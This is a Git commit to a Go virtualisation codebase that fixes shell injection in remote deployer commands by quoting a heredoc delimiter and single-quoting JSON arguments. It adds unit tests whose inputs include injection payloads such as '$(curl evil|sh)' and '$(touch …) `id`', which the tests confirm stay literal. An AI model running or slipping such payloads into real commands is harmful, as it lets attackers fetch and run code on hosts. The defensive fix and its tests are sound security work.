fix(hostman): harden deployer command execution against shell injection (#25498)

- Quote the heredoc delimiter when writing deploy params to the
  deployer guest, so deploy content, passwords and other
  user-supplied values are written literally and shell expansions
  ($(...), backticks, $VAR) inside them are not evaluated by the
  remote shell
- Escape JSON passed via --deploy-params as a single POSIX shell
  word, preventing single quotes in user data from breaking out of
  the argument
- Add unit tests covering injection payloads

Co-authored-by: Qiu Jian <qiujian@yunionyun.com>
Co-authored-by: Claude <noreply@anthropic.com>
This commit is contained in:
Jian Qiu
2026-09-03 10:55:54 +08:00
committed by GitHub
co-authored by Qiu Jian Claude
parent 00ecc7a0a4
commit d504b5a815
2 changed files with 98 additions and 8 deletions
+20 -8
View File
@@ -419,12 +419,24 @@ func (d *QemuKvmDriver) sshRun(cmd string) ([]string, error) {
return d.sshClient.Run(cmd)
}
// singleQuote escapes s so that it can be safely embedded as one shell word
// wrapped in single quotes: the remote shell then receives exactly s and
// cannot interpret any of it as shell syntax.
func singleQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
}
// buildSshFilePutContentCmd builds the command writing content to filePath on
// the remote shell. The heredoc delimiter is quoted, so the content stays
// literal data and shell expansions ($(...), backticks, $VAR) inside it are
// not evaluated.
func buildSshFilePutContentCmd(filePath, content string) string {
return fmt.Sprintf("cat << 'EOF' > %s\n%s\nEOF", filePath, content)
}
func (d *QemuKvmDriver) sshFilePutContent(params interface{}, filePath string) error {
jcontent := jsonutils.Marshal(params).String()
jcontent = strings.ReplaceAll(jcontent, "`", "\\`")
cmd := fmt.Sprintf(`cat << EOF > %s
%s
EOF`, filePath, jcontent)
cmd := buildSshFilePutContentCmd(filePath, jcontent)
out, err := d.sshRun(cmd)
if err != nil {
return errors.Wrapf(err, "sshFilePutContent %s", out)
@@ -483,7 +495,7 @@ func (d *QemuKvmDriver) ResizeFs(req *apis.ResizeFsParams) (*apis.Empty, error)
}()
params, _ := json.Marshal(req)
cmd := fmt.Sprintf("%s --deploy-action resize_fs --deploy-params '%s'", DEPLOYER_BIN, params)
cmd := fmt.Sprintf("%s --deploy-action resize_fs --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params)))
out, err := d.sshRun(cmd)
if err != nil {
return nil, errors.Wrapf(err, "run resize_fs failed %s", out)
@@ -508,7 +520,7 @@ func (d *QemuKvmDriver) FormatFs(req *apis.FormatFsParams) (*apis.Empty, error)
}()
params, _ := json.Marshal(req)
cmd := fmt.Sprintf("%s --deploy-action format_fs --deploy-params '%s'", DEPLOYER_BIN, params)
cmd := fmt.Sprintf("%s --deploy-action format_fs --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params)))
out, err := d.sshRun(cmd)
if err != nil {
return nil, errors.Wrapf(err, "run format_fs failed %s", out)
@@ -533,7 +545,7 @@ func (d *QemuKvmDriver) SaveToGlance(req *apis.SaveToGlanceParams) (*apis.SaveTo
}()
params, _ := json.Marshal(req)
cmd := fmt.Sprintf("%s --deploy-action save_to_glance --deploy-params '%s'", DEPLOYER_BIN, params)
cmd := fmt.Sprintf("%s --deploy-action save_to_glance --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params)))
out, err := d.sshRun(cmd)
if err != nil {
return nil, errors.Wrapf(err, "run save_to_glance failed %s", out)
@@ -570,7 +582,7 @@ func (d *QemuKvmDriver) ProbeImageInfo(req *apis.ProbeImageInfoPramas) (*apis.Im
}()
params, _ := json.Marshal(req)
cmd := fmt.Sprintf("%s --deploy-action probe_image_info --deploy-params '%s'", DEPLOYER_BIN, params)
cmd := fmt.Sprintf("%s --deploy-action probe_image_info --deploy-params %s", DEPLOYER_BIN, singleQuote(string(params)))
out, err := d.sshRun(cmd)
if err != nil {
return nil, errors.Wrapf(err, "run probe_image_info failed %s", out)
@@ -0,0 +1,78 @@
// Copyright 2019 Yunion
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package qemu_kvm
import (
"os"
"os/exec"
"path/filepath"
"testing"
)
func TestSingleQuote(t *testing.T) {
cases := []struct {
in string
want string
}{
{"", "''"},
{"simple", "'simple'"},
{"a b", "'a b'"},
{"it's", `'it'\''s'`},
{"$(curl evil|sh)", "'$(curl evil|sh)'"},
}
for _, c := range cases {
if got := singleQuote(c.in); got != c.want {
t.Errorf("singleQuote(%q) = %q, want %q", c.in, got, c.want)
}
}
// end-to-end: the quoted value must reach the shell as one literal word
payload := "$(touch /tmp/qemu_kvm_pwn) `id` ; it's"
cmdStr := "printf %s " + singleQuote(payload)
out, err := exec.Command("bash", "-c", cmdStr).Output()
if err != nil {
t.Fatalf("run quoted value: %v", err)
}
if string(out) != payload {
t.Fatalf("quoted value not literal, output %q", string(out))
}
if _, err := os.Stat("/tmp/qemu_kvm_pwn"); !os.IsNotExist(err) {
t.Fatalf("injection payload was executed")
}
}
// malicious content written via the heredoc command must stay literal data
// and must not be evaluated by the remote shell
func TestBuildSshFilePutContentCmdInjectionSafe(t *testing.T) {
dir := t.TempDir()
filePath := filepath.Join(dir, "params.json")
payloadFile := filepath.Join(dir, "pwn")
content := `{"content":"$(touch ` + payloadFile + `) ` + "`id`" + ` $HOME"}`
cmdStr := buildSshFilePutContentCmd(filePath, content)
if err := exec.Command("bash", "-c", cmdStr).Run(); err != nil {
t.Fatalf("run heredoc command: %v", err)
}
got, err := os.ReadFile(filePath)
if err != nil {
t.Fatalf("read written file: %v", err)
}
// the heredoc always appends the newline terminating the last content line
if string(got) != content+"\n" {
t.Fatalf("content not literal, got %q", string(got))
}
if _, err := os.Stat(payloadFile); !os.IsNotExist(err) {
t.Fatalf("injection payload was executed")
}
}